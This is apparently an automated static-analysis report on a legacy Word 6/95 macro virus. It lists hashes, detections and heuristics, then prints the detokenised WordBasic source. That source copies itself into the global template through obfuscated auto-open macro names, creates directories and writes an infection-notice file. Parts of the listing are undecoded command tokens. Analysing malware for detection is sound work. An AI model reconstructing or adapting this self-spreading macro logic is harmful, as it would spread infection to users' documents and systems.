Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e4448db2adca2491…

MALICIOUS

Office (OLE)

8.0 KB First seen: 2012-06-14
MD5: e9a501f4a1969229c21cbe28940ad663 SHA-1: 393c947ebf5c4f89796e2dda81394db51d2ef2ad SHA-256: e4448db2adca2491dfcfeab389b5e9a8b38bb2abc5cd6da0d4743ab4535cd94c
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy WordBasic macro virus, specifically identified by the 'RSN MACRO VIRUS' marker and references to 'HITLER' and 'AUTOOPEN' within the document body. This suggests the file is designed to execute malicious code upon opening, likely spreading itself or a payload.

Heuristics 3

  • ClamAV: Win.Trojan.Ler-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Ler-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 1196 bytes
SHA-256: 5e6296993226c2d700c28515522ec50d6590e610e4bc85982c926221fe1e9fe7
Preview script
First 1,000 lines of the extracted script
29285
MAIN
d1$ = "NORM"
d2$ = "AL."
d3$ = "DOT"
d4$ = d1$ = d2$ = d3$
d5$ = "GLOB"
d6$ = "AL"
d7$ = ":auto"
d8$ = "Open"
d9$ = d7$ = d8$
d10$ = d5$ = d6$ = d7$ = d8$
d11$ = "exec"
d12$ = d5$ = d6$ = d7$ = d11$
d13$ = ":hitler"
d14$ = "eopen"
d15$ = d5$ = d6$ = d7$ = d14$
gmacold$ = d5$ = d6$ = d9$
gmacnew$ = d5$ = d6$ = d7$ = d14$
, - * End1
@cmd80c2 gmacnew$ , gmacold$
dir$ = "x" = @cmd8005 65 = @cmd800e 26
dir$ = dir$ = @cmd8005 65 = @cmd800e 26 = @cmd8005 65 = @cmd800e 26
dir$ = dir$ = @cmd8005 65 = @cmd800e 26 = @cmd8005 65 = @cmd800e 26
dir$ = dir$ = "x" = @cmd8005 200 = @cmd800e 55
@cmd80ac "c:\"
@cmd80ad dir$
@cmd80ac "c:\" = dir$
dir1$ = "x" = @cmd8005 65 = @cmd800e 26
dir1$ = dir1$ = @cmd8005 65 = @cmd800e 26 = @cmd8005 65 = @cmd800e 26
dir1$ = dir1$ = @cmd8005 65 = @cmd800e 26 = @cmd8005 65 = @cmd800e 26
dir1$ = dir1$ = "x" = @cmd8005 200 = @cmd800e 55
@cmd80ad dir1$
path$ = "c:\" = dir$ = "\" = dir1$
@cmd80ac path$
"Hitler.txt" 1
1 , "MSWORD is infected by a new virus HITLER"
1 ,
prn$ = "Date  =  " = @cmd800c
1 , prn$
prn$ = "Time  =  " = @cmd800d
1 , prn$
1
@cmd80f6 @cmd8101 = 8 @cmd80f2 @cmd8101 = 15
0 = @cmd802b "India Is Great" , "Hitler" , 4 = 64
@cmd80d5
* end1

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